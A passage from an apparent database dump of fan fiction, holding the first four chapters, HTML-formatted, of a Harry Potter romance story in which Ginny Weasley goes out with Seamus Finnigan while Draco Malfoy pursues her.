that\ntime, and not thinking clearly.&nbsp; You must\nexcuse her.)<b>, MorrowindTheElf, and Gryfindor_21_phoenix.</b></p>\n\n<p class="MsoNormal"><b>&nbsp;</b></p>\n\n<p class="MsoNormal"><b>Thanks, guys!&nbsp;\nKeep up the nice reviews!</b></p>\n\n\n\n\n\n\n'),
	(155, 1, ' <p>Chapter One</p>\n\n<p>She watched Harry at his table in the library. He was laughing quietly with Hermione and Ron, over something clever Hermione had said no doubt. Hermione\'s eyes sparkled, and the boys listened in total captivation. They saw Hermione in a way Ginny could only dream of them seeing her.</p>\n\n<p>Ginny watched as Hermione tilted her head and laughed at a joke Harry had made. Her bushy hair fell into her face when she looked down again, and she smiled as Harry picked up her quill and used it to hold her hair back. Ginny sighed regretfully. If only she could be that close to Harry....</p>\n\n<p>They had asked Ginny to sit with them, but she\'d refused. She\'d claimed she had something she needed to look up in this or that encyclopedia, but she just didn\'t want to get in their way. <i>Besides,</i> Ginny thought begrudgingly, <i>they seem to be having a fine time without me.</i> She buried herself in the first textbook she\'d found, <i>1001 Herbs You Thought Were Useless, But Aren\'t</i>. Ginny pretended to be deeply involved in the effects of basil in a plant growth potion as Harry stood up and approached her.</p>\n\n<p>&quot;You find what you were looking for?&quot; He peered over her shoulder and looked skeptically at her book.</p>\n\n<p>She tried to be casual, lightly flipping her hair over her shoulder in an attempt to flirt a bit, and nodded. &quot;Yeah,&quot; she lied, tapping her book. &quot;Right where I thought it would be.&quot;</p>\n\n<p>Hermione and Ron had finally gathered their books and rejoined Harry. &quot;Ready to go, Harry?&quot; Hermione asked. &quot;You have to be on the Quidditch pitch by seven, and it\'s already six-thirty. Ron and I want to get there early so we can get good seats...&quot;</p>\n\n<p>Ron grimaced. &quot;Yeah, Hermione\'s right. We still have to stop by the common room to give Neville his wand back too, he dropped it earlier.&quot;</p>\n\n<p>The three walked away, forgetting to say goodbye to Ginny, until they reached the door. Harry pulled at Ron\'s sleeve. &quot;Should we have asked Ginny to go with us? She might be upset we didn\'t... girls are sensitive like that.&quot;</p>\n\n<p>&quot;Nah,&quot; Ron rolled his eyes and spoke in a tone which made it clear what he was saying should be obvious. &quot;She\'s not really a girl. She\'s just my sister.&quot; Harry shrugged, and they ran to catch up with Hermione.</p>\n\n<p>Ginny had heard them. After all, they had only been a few feet away and Ron hadn\'t made an effort to be quiet about it. He always was the careless one. <i>Not a girl. Thanks Ron. How am I ever supposed to have any chance with Harry, if all Ron does is enforce that I\'m just his little sister? I\'m very much a girl...</i> Ginny sighed, sinking again into the chair and trying not to be too upset with Ron. Soon she heard footsteps behind her.</p>\n\n<p>&quot;Hey, Ginny,&quot; Seamus Finnigan grinned, his hands in his pockets. His hair had been cut recently, she could tell. It was a bit too short in the back, but at least he didn\'t have that stupid tail anymore. He was tall, but not gawky, thin but not twiggy. He had the muscles of someone who obviously practiced for his team. Ginny smiled back, straightening her posture a bit.</p>\n\n<p>&quot;What have you been up to?&quot;</p>\n\n<p>Ginny shrugged. &quot;Not too much, you?&quot;</p>\n\n<p>Seamus shifted his weight a bit. &quot;Just stopping by to say hello...I was just about to head to the pitch, for the Gryffindor/Hufflepuff game. I have to be on my broom in, what, fifteen minutes? Are you going to go?&quot;</p>\n\n<p>&quot;Yeah, I probably will.&quot; And watch Harry for awhile, she thought about adding, but didn\'t.</p>\n\n<p>Seamus beamed. &quot;Great! Cause, you see, there\'s this party if we win, and I was hoping you would go with me. There\'ll be food, and card games, and Exploding Snap, and-&quot;</p>\n\n<p>Ginny cut him off. Boys never \'just stop to say hello\', she laughed silently. &quot;Yeah, Seamus, I\'ll go with you.&quot; <i>Who needs Harry and Ron anyway? At least Seamus thinks I\'m a girl, </i>she thought defiantly. He was nice enough, and why shouldn\'t she have a good time? She stood up and started gathering her books.</p>\n\n<p>Seamus put on his cloak and grabbed his broom, which had been resting lazily against a bookshelf. &quot;Meet me in the common room after the game?&quot; he asked her.</p>\n\n<p>She nodded, and he left. Ginny picked up her bag and headed to the common room to drop it off and pick up her cloak before she went to the game.</p>\n\n<p>Walking through the corridors, Ginny juggled her books and supplies, nearly losing hold of everything at least twice. <i>I really should make a point not to carry so much, </i>she thought, irritated.</p>\n\n<p>Just as she\'d finished that thought, she turned the corner, to see two boys rush through the halls. One, gaining on the other, appeared for a second as a blur of black. The other, Neville Longbottom, took that moment to crash into Ginny, stumbling, and then running on, still in obvious fright, from the black blur in the distance.</p>\n\n<p>Ginny knelt to gather her fallen books and quills, but looked up just in time to see the once advancing boy trip over her and crash into a suit of armor.</p>\n\n<p>The armor fell on top of him, and all Ginny could see of him was his head, covered by his cloak due to the fall, and his hand.</p>\n\n<p>&nbsp;</p>\n\n<p>&quot;Weasley!&quot; Ginny instantly recognized the voice. His identity was confirmed by the silver ring on his hand. He had a manly, yet somehow delicate hand, and the ring matched his skin tone nicely. However, this was Malfoy, and she wouldn\'t allow herself to gawk at him like that idiot Pansy Parkinson did.</p>\n\n<p>&quot;WEASLEY!&quot; he shouted again, and she snapped out of her thoughts. He may have been an arrogant git, but he was an arrogant git trapped under a rather heavy metal body. Feeling charitable, she took out her wand.</p>\n\n<p>&quot;<i>Wingardium</i><i> Leviosa</i>...&quot; she muttered. The armor became upright with a swish and flick of her wand. Malfoy rose slowly to his knees, combing his hands back through his mussed silver hair. It refused to stay in place, falling back into his eyes. He picked up his wand, which had flown from his pocket at the impact, shoving it into his robe.</p>\n\n<p>&quot;Think it\'d be funny to trip me, eh, Weasley? Trying to protect pathetic little Longbottom?&quot; he sneered at her, brushing the dust of his cloak in a superior manner.</p>\n\n<p>Ginny glared at him. &quot;You would think that wouldn\'t you? That I\'d try to trip anyone! And to think, after your eloquent upbringing you can\'t even rise above chasing a defenseless boy through the halls. What did Neville do now, continue to exist? Seriously, Malfoy, I should have just left you trapped under the armor.&quot; She felt her ears turn pink in anger as she collected her things to leave.</p>\n\n<p>As she started to walk away, however, he turned her around with a forceful pull of her arm. His body could not have been more than a hand-span away from hers and it seemed to radiate a heated power. &quot;If you think, Weasley,&quot; he whispered in a deeper, gruffer voice than normal, a glint in his eye, &quot;that you can ever leave a Malfoy, you are vastly mistaken.&quot;</p>\n\n<p>With that he let her go, disappearing around the corner and leaving her alone in the corridor.</p> '),
	(155, 2, ' <p>Chapter Two</p>\n\n<p>Ginny stood in the hallway, rigid in confusion, fear, and shock. What could he have meant by that? She hoped it wasn\'t meant hostilely, that he could sneak up behind her at any time and humiliate or hurt her...then again, this was Malfoy. She knew he\'d get her for insulting him the way she did, but she prayed he wouldn\'t do anything drastic.<br>\n\n\n<br>\n She straightened her robes and picked up her scattered belongings. \'When had they fallen on the floor again?\' she wondered. \'Probably when he scared the living daylights out of me.\' She rushed to the common room. She only had &#8211; she checked her watch &#8211; 10 minutes to get her cloak, get to the game, and find a seat where she could see Seamus...and Harry, of course.<br>\n\n\n<br>\n She dropped off her backpack, grabbed her old cloak, and headed out of the Gryffindor dorms. When she reached the entrance to the pitch, she found Colin Creevey, who was waving his arms at her. <br>\n\n\n<br>\n &quot;Ginny! Over here!&quot; His camera, on a strap over his shoulder, bounced on his side as he jumped, trying to get her to see him. He had never been very tall, and was now pushing 5\'7&quot;, only an inch taller than Ginny. &quot;Ginny!&quot; he yelled again, even though she knew he must have noticed that she was approaching him, with an exasperated look on her face.<br>\n\n\n<br>\n &quot;Colin,&quot; Ginny said as soon as she got within hearing distance. &quot;Don\'t make such a scene.&quot; But no one was actually looking at either of them, she saw; everyone too busy awaiting the start of the game.</p>\n\n<p>Colin took Ginny\'s arm and pointed towards the stands. &quot;We\'re over there, seventh row, left side.&quot;</p>\n\n<p>She nodded. \'Not a bad spot really, glad he got here early,\' she thought. They climbed up to their seats, making their way through the already seated people. Hermione and Ron were a couple rows down to the right, and Ron looked more than a little fidgety. Hermione was pointing at Harry and Ron was nodding excitedly.<br>\n\n<br>\n\n</p>\n\n<p>&quot;So what did you do today, Ginny? You go to the library with the trio?&quot; Colin gave her an innocent smile as he adjusted his omnioculars to focus on Harry.<br>\n\n\n<br>\n &quot;Yeah, well, sort of...not with them per say...&quot;<br>\n\n\n<br>\n &quot;Oh Gin, you didn\'t sit out again did you? You know they wouldn\'t mind you joining them!&quot;<br>\n\n\n<br>\n &quot;I know, I just feel like a fourth wheel with them, you know?&quot;</p>\n\n<p>Colin smiled at her patiently, as though she were five years old, and spoke slowly. &quot;Most wheeled things have four wheels, Ginny. Four wheeled things are stable. Like cars, and trains, and &#8211;&quot;</p>\n\n<p>She gave him a look. &quot;You know what I mean. They\'re so wrapped up in themselves, it wouldn\'t matter if I sung &quot;I\'m a Little Teapot&quot; while dancing on their table! Hermione is so busy with her schoolwork and Ron is busy fawning after Hermione, and Harry\'s just so troubled half the time that he clings to the two of them. Throw me in there, and that\'s all you\'ve done. Just thrown an extra person in, who has no purpose whatsoever.&quot; She buried her head in her arms. &quot;And Ron told Harry I wasn\'t even a girl! I\'ll always be just Ron\'s little sister to everyone. Why can\'t they see me?&quot;<br>\n\n\n<br>\n Colin put his arm around her and hoped she wasn\'t crying. He never was good at comforting people, as people spent most of their time trying to comfort the charity case that was him. He patted her shoulder cautiously and shifted uncomfortably on the bench. <br>\n\n\n<br>\n Ginny took a deep breath. \'It\'s okay,\' she told herself. \'People believe in me, and I believe in myself and what the Dream Team thinks of me is of no consequence.\' She slowly regained her composure and brushed away at her eyes. \'This is the last time I let myself get upset over whether they like me or not.\'<br>\n\n\n<br>\n Ginny smiled at Colin, and took the omnioculars. She refocused them from Harry to Seamus, who was mounting his broom. The two teams were ready to start. The whistle blew, the balls were released and Ernie Macmillan reported from his stand. Ernie had taken over for Lee Jordan after Lee had left Hogwarts.<br>\n\n\n<br>\n &quot;They\'re off, folks! Laura Madley, fourth year chaser and Hufflepuff star, has just outrun that bludger! She zips to the left...Watch out Hannah, it\'s coming at you now! Hufflepuff has the quaffle again...Hufflepuff scores!!!&quot; <br>\n\n\n<br>\n Ginny ignored the commentary and watched Seamus. \'Yeah, that\'s right... forget about Harry. Seamus is a great guy...\' When he saw her looking at him, he pulled a stunt move, diving down for no specific reason, then making a sharp right turn and pulling the broom up. He beamed at her, then rejoined the game. Ginny grinned. \'...but a show off...\'<br>\n\n\n<br>\n Hufflepuff had become harder to beat since Laura Madley joined the team, but this game was no break from Gryffindor\'s winning streak. Harry had caught the snitch, and the game was over. Scarlet and gold banners flashed and the Gryffindors cheered as the teams left the field. The fans poured out of the stands and the Gryffindor team went off to celebrate.<br>\n\n\n<br>\n Ginny remembered that Seamus had asked her to meet him in the common room after the game. She turned to Colin, who was taking photos of the cheering fans.<br>\n\n\n<br>\n &quot;Colin, I\'m going to go now, I\'m supposed to meet Seamus soon. All right?&quot; She wondered if he had heard her, until he turned to face her, snapping a photo. She tried to block her face with her arms, but Colin\'s quick photo reflexes and her slow defensive ones allowed the picture to be taken. She had stars in her eyes now from the flash, and got a disorientated feeling because of it. Colin still pretended he hadn\'t heard what she\'d said.<br>\n\n\n<br>\n &quot;What was that, Ginny?&quot; he asked, poised to take another picture. &quot;You said you\'re going to meet Seamus?&quot; -Click- Ginny reacted quickly enough this time, her hands were now blocking the camera\'s view. &quot;Did he invite you to the team party?&quot; -Click- She got up and started walking out of the stands, toward the exit.<br>\n\n\n<br>\n &quot;Yeah, I\'ll see you later, Colin,&quot; she called behind her. She worked her way through the crowd, and somehow managed to make it back to the common room. Upon entering, it was impossible not to notice that the scarlet and gold flashing banners had been moved from the field, and some of the cheering Gryffindors that filled the room even wore their old &quot;We love Harry&quot; pins from years ago. <br>\n\n\n<br>\n Nearly everytime Gryffindor won, someone would throw a party like this back at the common room. It would have been a free invitation party, but some of the sixth and seventh years had decided against that in order to keep it on the smaller side and because of the younger students that could come in. After all, they couldn\'t have that, as things would sometimes get a little too crazy for a little first year\'s liking. Therefore, it had been set up, for the past few years, that each team member was allowed one invitation to a non-team member, providing that they didn\'t invite anyone too young.<br>\n\n\n<br>\n It was obvious Ron, who\'d been invited by Harry, had snuck in some things from the twins\' shop. A couple of people\'s hair had flashing scarlet and gold hairstreaks, and small confetti firecrackers were exploding in various corners of the room. At least those were the tamer ones.</p>\n\n<p>Dean Thomas called out to the group. &quot;We\'re going down to the kitchens...what do we want?&quot;</p>\n\n<p>The crowd shouted different answers, and he ended up shrugging and leaving the room with Seamus, who had given her a wink and a look that said &quot;I\'ll be right back.&quot; Hermione (on invite by an extra Lavender had) called after the boys, going with them to make sure they didn\'t mistreat the elves. Ginny smiled when she noticed Hermione was wearing her S.P.E.W. pin instead of the typical &quot;We love Harry&quot;.<br>\n\n\n<br>\n Soon the boys were back, and with large amounts of food. They settled bags of chips, dishes of puddings and cakes, leftovers from yesterday\'s banquet, and a rather large self - refilling punchbowl with a cloudy pinkish-blue liquid in it.</p>\n\n<p>Lavender Brown pointed at the drink and wrinkled her nose. &quot;What IS that?&quot;</p>\n\n<p>George Weasley gave her a proud smile. &quot;That,&quot; he said with a flourish of his hand, &quot;is Kool - Aid.&quot;</p>\n\n<p>Fred was suddenly at his brother\'s side and with an equally proud grin. &quot;It\'s amazing! It doesn\'t even come in a bottle or anything!&quot; He waved a packet. &quot;See? It\'s from an envelope!&quot;</p>\n\n<p>Parvati and Lavender stared bright-eyed at the packet before latching onto Fred and George\'s arms. The boys winked at Ginny. She gave the liquid an inquiring look.<br>\n\n\n<br>\n &quot;What flavor is it? It\'s a rather odd color...&quot;</p>\n\n<p>Fred shook his head, lost in the euphoria of being surrounded by two enthusiastic girls. &quot;I don\'t know... I just added five packets or so... Different kinds I\'d guess.&quot;</p>\n\n<p>Ginny shrugged and took a small cupful of it. After taking a sip, she winced. &quot;ALL you added was the powder?!&quot;</p>\n\n<p>George nodded happily. &quot;Yep! Great, huh?&quot;<br>\n\n\n<br>\n &quot;It\'s horrible! There\'s supposed to be sugar in it, you twits! Why didn\'t the house elves make this?&quot;<br>\n\n\n<br>\n &quot;Hermione wouldn\'t let us...house elf liberation and all that. So we figured it couldn\'t be too hard...&quot;</p>\n\n<p>Grumbling something about the stupidity of teenage boys, Ginny took out her wand and muttered a spell she used regularly on her tea. She was about to get an un-bitter cup of punch when a hand rested on her shoulder, getting her attention. She whipped around to find a smiling Finnigan in front of her. His boyishly cut sandy hair and wholesome smile personified the character that was Seamus. He was still wearing his Quidditch robes and his cloak which, Ginny noticed, had a little green shamrock embroidered by the clasp in the front. She smiled at that.<br>\n\n\n<br>\n &quot;Hi,&quot; she said, moving her stare from the shamrock to his eyes.<br>\n\n\n<br>\n &quot;Hiya, Ginny. Like me Irish pride?&quot; He quit his forcibly heavy Irish accent. &quot;My mum put it there. Supposed to remind me of home.&quot; He imitated his mother, &quot;\'Stay true t\' yer roots Seamus dear, and yer home and yer family will never be far from yer heart.\'&quot; He made a goofy grin at the sappiness of it, but she thought it was cute. She didn\'t get too much sappiness with six brothers. Seamus continued, &quot;They\'re playing cards over there, or we can play chess, or Exploding Snap, or...&quot;<br>\n\n\n<br>\n &quot;Cards will be fine,&quot; Ginny smiled. She looked over at the card table where Fred, George, Dean, and Harry were about to start a round of poker. Lavender and Parvati were hanging on Fred and George respectively, though Ginny didn\'t think either girl knew the two of them apart well enough to know which boy they were clinging to. Dean was shuffling a red deck of cards and Harry was poking at a small crack in his glasses with his wand, apparently trying to fix it. <br>\n\n\n<br>\n Ron and Hermione were playing a game of chess. Ron stopped to laugh evilly as his knight stomped hers to bits, not realizing his queen would be taken by her bishop.</p>\n\n<p><br>\n &quot;Ronald Weasley! I refuse to beat the pants off you if you\'re not trying! Now start focusing!&quot; Hermione demanded indignantly.<br>\n\n\n<br>\n &quot;But \'Mione, I am focusing!&quot;</p>\n\n<p>\'So he\'s letting her win,\' Ginny realized.<br>\n\n\n<br>\n Ginny decided to focus on her game as well. She had taken a seat between Seamus and Dean and now waited until Dean had finished dealing the cards. She looked at her hand and called the bet of ten Bertie Bott\'s Beans when it came to her, hoping she might end up with something after the draw. Damn her brothers for not allowing wild cards...</p>\n\n<p>&nbsp;<br>\n She looked at Seamus, who was studying his cards now, but had previously been sneaking glances at Ginny. He saw her looking at him, and smiled confidently. Obviously, he thought he stood a chance. Harry fiddled with the glasses still on his nose, looking dismayed at his new cards. He folded, leaving everyone else to show their cards. Lavender kissed Fred on the cheek when he won the hand, eating one of his betting beans, then grimacing at the horrible flavor...<br>\n\n\n<br>\n An hour later, when Ginny was full of multi-flavored punch and Bertie Bott\'s Beans, the game ended, Ginny only behind George\'s win by 25 beans. Harry had lost everything within twenty minutes, and had joined Ron and Hermione, who had been talking on the couch after Hermione\'s win. The group of people who had played Exploding Snap had paired off and were in various darker parts of the common room or on &quot;walks&quot;. Seamus left Ginny to talk to Dean (&quot;Back in a minute, Ginny!&quot;), and the twins were off with the Parvati and Lavender. Ginny was alone.<br>\n\n\n<br>\n \'I might as well just go to bed, no one seems to need me here.\' She got Seamus\' attention. &quot;I\'m going to head up for bed,&quot; she told him. &quot;Thanks for inviting me, Seamus.&quot;<br>\n\n\n<br>\n &quot;Are you sure, Ginny? Do you want me to walk you upstairs?&quot; he asked.</p>\n\n<p><br>\n &quot;No, I\'ll be fine. Good night, Seamus. You too, Dean.&quot; Dean nodded pleasantly at her, and Seamus kissed her cheek. She waved goodbye to Harry, Hermione and Ron and headed up the stairs. <br>\n\n\n<br>\n \'They didn\'t mean to ignore me,\' Ginny rationalized. \'Seamus was just talking to his best friend and the trio, well... I\'m tired anyway.\' <br>\n\n\n<br>\n So everything was fine. She\'d had an afternoon with Colin, Gryffindor had won the game, Seamus had been a perfect gentleman, and she\'d had an evening full of cards. So why had she felt something was missing? Everything was fine...</p> '),
	(155, 3, ' <p>Chapter Three</p>\n\n<p>When the sun rose the next morning, Ginny immediately decided that getting out of bed might be the worst decision she could make all day.Groaning over a massive headache, she rolled over in her bed.What reason did she have to get out of bed today? It was a Sunday, so she had no classes.</p>\n\n<p>She really hoped she wouldn\'t be stuck cleaning up last night\'s party with Ron like last time. At least the twins had gone back home; that was a plus. She laughed to herself. Dumbledore still didn\'t know they\'d sneaked in for every party since they left Hogwarts.Merlin, those boys were crafty. That was another reason the younger years couldn\'t come to the party- Young students were notorious gossips and snitches, no matter what house they were from. True, the Gryffindors and Hufflepuffs were better known for their loyalty, but things got around.</p>\n\n<p>Ginny grumbled at her clock and rolled out of bed. She had to get up now if she wanted to be on time for breakfast, though she wasn\'t very hungry. She\'d had so much junk food the night before; she needed something healthy in her stomach before it consumed itself. She ran a comb through her hair, marveling at how tangled it could get in a couple of hours.Even as she finished, her hair looked remarkably similar to when she had woken up.</p>\n\n<p>&quot;Really, dear,&quot; the mirror began, &quot;I know you can do better than that&#8230;&quot; Ginny stuck her tongue out at it and left the dorm for the Great Hall.As she entered, Seamus waved for her to sit next to him. It was odd to sit at that end of the table. Normally, Ginny would sit to Ron\'s side, across from Harry, and eat quietly, listening to them talk.Sometimes she\'d sit by Colin, but he normally skipped breakfast. Now she was next to Seamus and Lavender, across from Dean and Parvati.</p>\n\n<p>It felt odd and uncomfortable.Seamus was talking with Dean about yesterday\'s game, and Lavender and Parvati were gossiping about something Ginny didn\'t care to listen to. Shifting in her seat, she poked at her food. This really didn\'t seem right.</p>\n\n<p>Actually, she had never felt in place during breakfast, but today was different. Today she wasn\'t dependent on Harry, Ron or Hermione. Today she was on her own with a guy who liked her for who she was, and damn it, she should try and enjoy herself.</p>\n\n<p>She twirled a piece of her hair between her fingers.She found herself thinking about Malfoy and why he hadn\'t tried to pull anything yet. <i>Maybe he\'s not going to do anything at all... maybe he\'ll just leave me alone... maybe he was just bluffing... then again, Malfoy isn\'t known for empty threats...</i></p>\n\n<p>She shook herself, and found that her thoughts moved to Seamus. <i>He acts like he likes me, and asks me to come over here, then ignores me? He hasn\'t talked to me since he invited me over here, and that was 20 minutes ago... it\'s always about Dean isn\'t it? I\'m always just going to be the one everyone ignores aren\'t I?</i></p>\n\n<p>Suddenly, Ginny\'s attention was brought back to reality when a pair of fingers snapped in her face. &quot;Ginny! Ginny, are you there?&quot;Seamus grinned at her.</p>\n\n<p>&quot;Don\'t snap at me, of course I\'m \'here\'.&quot;Irritated, she stabbed a pancake.</p>\n\n<p>&quot;Gosh, take it easy Gin, I didn\'t mean...&quot; He touched her shoulder, but she took his hand off her and stood up.</p>\n\n<p>&quot;You don\'t mean much of what you say, do you?&quot;she asked him.</p>\n\n<p>He just looked at her, confused by her reaction. The way things were going, she\'d never let him take her to Hogsmeade two weeks from now. He didn\'t think he\'d done anything particularly wrong, and made a mental note to ask Dean about it later.Dean always knew what to do about things like this.</p>\n\n<p>Ignoring a bewildered Seamus and observant Dean, Ginny left the Great Hall. She made her way out of Hogwarts, in an attempt to settle down. She found a small nook in the wall of the castle, which was just about big enough for her to sit in, with her legs bent and crossed in front of her.</p>\n\n<p>Ginny pushed her hair out of her face and grumbled, &quot;I\'m over-reacting, I know. Seamus didn\'t ignore me really&#8230; It\'s just what I\'m making out of it. Well, it <i>is</i> partly his fault. If he didn\'t have the decency to &#8211;&quot;</p>\n\n<p>&quot;&#8211; at least pay you for your services?&quot;</p>\n\n<p>Draco Malfoy, who seemed to have popped out of nowhere, stood in front of Ginny. He leaned against the wall, his arms folded across his chest.</p>\n\n<p>Her head, which had been facing the side of the nook before, turned to look at him. He wore a heavy cloak of a shiny, deep forest green material with an intricate silver clasp, black slacks and a gray shirt. His hair wasn\'t slicked back like it had been when he was younger, but instead fell over his eyes. He would\'ve been quite sexy if he wasn\'t such a git all the time. His familiar smirk snapped her back to reality.</p>\n\n<p>&quot;And here I thought it was Seamus who had no decency,&quot;she commented.</p>\n\n<p>Malfoy looked down at her condescendingly. &quot;What\'d he do? Ignore you like everyone else does?&quot;His sarcastic tone made Ginny all the more defensive.</p>\n\n<p>&quot;How would you know, Malfoy?You don\'t know anything about me!&quot; Ginny retorted. She\'d come to the conclusion that he existed merely to make her feel horrible about herself.What he said next definitely affirmed that idea.</p>\n\n<p>&quot;I know you\'re a poor, good-for-nothing Weasley with that horrid hair all of you have, who obviously isn\'t special enough for even her brothers or her friends to notice her.&quot; His fingers rubbed his cloak as he\'d said it, but Ginny didn\'t notice the slight movement.She was angry that he could say something so hurtful so easily, but she also thought he was right.She tried to open her mouth with some sarcastic retort, but nothing came out.</p>\n\n<p>&quot;What? Nothing to say to that, Weasley?&quot; He smirked.&quot;I guess it just proves &#8211;&quot;</p>\n\n<p>&quot;It proves how much of an ass you are, Malfoy.&quot;Her eyes flared in anger. &quot;You\'d better back off! You know nothing!You don\'t know me, or my family, or what I\'ve gone through, or &#8211;&quot;</p>\n\n<p>Malfoy had slid down against the wall beside her, one arm on his bent leg, the other straight out in a casual manner. He interrupted her, &quot;Weasley, are you ever going to stop talking?&quot;</p>\n\n<p>She looked at him, finally noticing he was blocking her exit unless she climbed over him.She wondered how she\'d find her way out of the nook until she saw him start to lean toward her.The cool morning air suddenly seemed a lot warmer, and she realized she didn\'t know what to do with her hands.Her mind raced as he neared her.</p>\n\n<p>She didn\'t have much time to think about her hands, though.His face was now so close to hers, it was amazing that he wasn\'t touching her. His hair fell from his eyes onto her cheeks as his head tilted down to meet hers.She stared at him, frozen in shock of his closeness.His lips just barely brushed hers as he whispered to her, &quot;I don\'t think you understand, Weasley...&quot; His lips moved from her lips to her cheek, moving slowly to her ear. Her eyes closed, and she noticed his woodsy scent, which made her temperature rise quickly. &quot;I know you very well.&quot;</p>\n\n<p>His voice made her shiver, his words vibrating through her ear in his sexy tone.She leaned back, pressing up against the cold wall, her head resting back on it. She thought he would kiss her then &#8211; almost wished he would kiss her then &#8211; but when she opened her eyes, he was gone.</p> '),
	(155, 4, ' <p>Chapter Four</p>\n\n<p>It was over as quickly as it had begun.Ginny touched her lips reverently as she shivered in the nook. She\'d finally realized how cold it was this morning, without him hovering over her as he had been. She wrapped her cloak around her arms and stood up to gather what books she had taken with her.</p>\n\n<p>As she got up, something a bit smaller than a bottle cap fell off of her, glinting in the light as it hit the ground. Ginny stooped to pick it up and looked at it curiously.At first she thought it was a pin, but soon realized it was a necklace charm.It was silver, with a dark, nearly opaque, purple stone in the center.The stone seemed to swirl as she held it in her hand. \'I\'ll have to get this back to him, he must have dropped it. Curious... why would Draco even have a necklace?\' she thought as she dropped it into her pocket and made her back into the castle.</p>\n\n<p>Ginny looked at her watch.It was already <st1:time hour="8" minute="30">8:30</st1:time>, and if she was going to anything today, now would be the time to decide.She still had to do her potions homework; she headed for the Gryffindor common room.Still a bit flustered from before, she hardly noticed Harry in the corner as she walked toward her dorm. Instead, she was stopped by Seamus, who tapped her shoulder as she\'d started up the stairs.</p>\n\n<p>He looked a bit nervous as he looked at her, like a first year asking Snape for his grade.She had softened considerably from their conversation before.Maybe it was because she had time to settle down, or maybe it because of something else, but she felt lighter than normal.</p>\n\n<p>&quot;Seamus, I\'m sorry I snapped at you before.You really didn\'t deserve that; I just blew things out of proportion.&quot;</p>\n\n<p>She gave him a soft smile, which relieved him greatly.His posture relaxed and he slid his arms around her waist. &quot;You know, Ginny, I really hoping you\'d say something like that.&quot; He gave her a chaste kiss on the lips, which made her smile. He stepped back and offered her his hand.&quot;A game of chess?&quot;</p>\n\n<p>&quot;Sure, but I\'m warning you, I\'m not nearly as good as Ron!&quot; she grinned.</p>\n\n<p>Ginny left Seamus around three to finish her schoolwork in the library.She approached Harry and Hermione, who were sitting at a table in the western corner of the library. Hermione was pouring over a rather large, dusty book, while Harry twiddled with his quill distractedly. He seemed to have some trouble concentrating, and Ginny\'s though was affirmed when he stood up, threw his arms (and his quill) in the air.</p>\n\n<p>&quot;I don\'t see why I even try! Snape hates me, and I can\'t write this stupid essay without my head exploding!&quot;Harry started pacing in frustration while Hermione looked on at him sympathetically.</p>\n\n<p>&quot;It\'ll be alright, Harry, you know you\'ll do fine once you calm down. You\'re just too stressed today. What\'s been upsetting you?&quot;</p>\n\n<p>&quot;Hello!&quot; Ginny greeted.&quot;Mind if I sit with you?&quot; She smiled earnestly, but noticed that Harry was glaring at her cheerfulness.She sat tentatively in the seat across from him.Of course, he wasn\'t sitting at the moment.</p>\n\n<p>&quot;Stupid... git...&quot; Harry muttered as he paced.&quot;I swear, if he does one more thing...&quot;</p>\n\n<p>Hermione stood up. She put her hands on Harry\'s shoulders, guided him to his seat, and sat him down. He grumbled under his breath still, but at least he\'d stopped pacing.</p>\n\n<p>&quot;Really, Harry, the potions assignment won\'t be that bad, and Snape really didn\'t do anything out of the ordinary today.I don\'t understand what could upset you so much.&quot; He just sighed and rolled his eyes at her as she continued,&quot;Just a rough day I suppose? I\'m sure he\'ll be fine tomorrow, don\'t you think, Ginny?&quot;</p>\n\n<p>Harry raised his head from where it had lain in his arms, looked at Ginny bleakly.</p>\n\n<p>&quot;I don\'t think I\'m going to be okay for a very long time,&quot; he said before she could answer. He then packed up his books and grabbed his quill from the floor. &quot;I\'m going to the common room, I\'ll see you girls later.&quot; He left the library.</p>\n\n<p>Hermione turned to Ginny. &quot;He\'s been acting strange ever since yesterday.I don\'t know what\'s up with him.&quot; She shrugged in resignation and dipped her quill into the inkwell.</p>\n\n<p>Ginny gave her a half smile, and took out her potions books and some parchment.&quot;I don\'t know what to tell you.I haven\'t been around him since the party yesterday.I know he lost a couple games of poker, but I\'m guessing it\'s something slightly more serious.&quot;</p>\n\n<p>&quot;I don\'t know.I guess he\'ll be all right. He always pulls through in the end,&quot; Hermione smiled, then lifted a knowing eyebrow and nudged Ginny\'s side.&quot;So, how\'s Seamus?&quot;</p>\n\n<p>Ginny turned a bit pink and burst into a fit of giggles.&quot;Hermione!&quot;Once she\'d stopped laughing, she said, &quot;Well, he\'s nice...&quot;</p>\n\n<p>&quot;Is that all?Is he a good kisser? Back when Lavender was dating him she raved about him...&quot;</p>\n\n<p>Ginny gave her a look. &quot;Oh, come on, \'Mione, Lavender would rave about any guy she was dating! Puts her in the spotlight.&quot;</p>\n\n<p>&quot;I suppose so, but...&quot; Hermione gave Ginny a devious grin. &quot;Is he?&quot;</p>\n\n<p>&quot;\'Mione!&quot;She rolled her eyes, but Hermione seemed insistent for information.And after all, who else would Ginny gossip with? Ron? &quot;I don\'t know,&quot;she said, her thoughts suddenly drifting to a certain blonde Slytherin.&quot;We haven\'t really kissed yet.&quot;</p>\n\n<p>She found herself daydreaming about what had happened in the nood, and shook it off in time to catch Hermione in mid-sentence.</p>\n\n<p>&quot;... and I wouldn\'t have thought it either, would you?I mean has he asked you to go with him to Hogsmeade or anything?&quot;</p>\n\n<p>&quot;Why would Draco &#8211;&quot; Ginny caught herself as Hermione looked at her in confusion.</p>\n\n<p>&quot;I mean, Seamus and I aren\'t really... well, I don\'t know what we are.He\'s obviously interested in me, but no, he hasn\'t asked me to Hogsmeade.&quot;</p>\n\n<p>&quot;Oh.&quot; Hermione looked slightly disappointed that there were no other details than that but then something occurred to her. &quot;What did you say about Malfoy, Ginny?&quot;</p>\n\n<p>Ginny stuttered slightly, trying to regain her composure. &quot;D-Draco?I didn\'t say anything about &#8211;&quot;</p>\n\n<p>&quot;Oh, yes you did!&quot; Hermione shook her finger at her. &quot;You started to say something about Malfoy, and you called him Draco!&quot;</p>\n\n<p>Ginny nearly died of embarrassment.Sure, she could tell Hermione about Seamus, but could she really tell her that her best friend\'s enemy nearly kissed her?</p>\n\n<p>&quot;Well, I...&quot;</p>\n\n<p>&quot;Just spit it out, Ginny.What happened?&quot;</p>\n\n<p>Ginny gave in and told her, recalling everything from the crash in the hallway to what happened outside the castle.</p>\n\n<p>Hermione scowled. &quot;You can\'t possibly be falling for this, canyou Ginny? What if he\'s just setting you up for something?You can\'t be thinking of being with Malfoy?!&quot;</p>\n\n<p>&quot;Wait, wait! I never said that. I\'m not thinking about being with him, and I know he could be trying to set me up for some evil Death Eater scheme or something.I\'m not falling for anything.I\'m just... wondering, that\'s 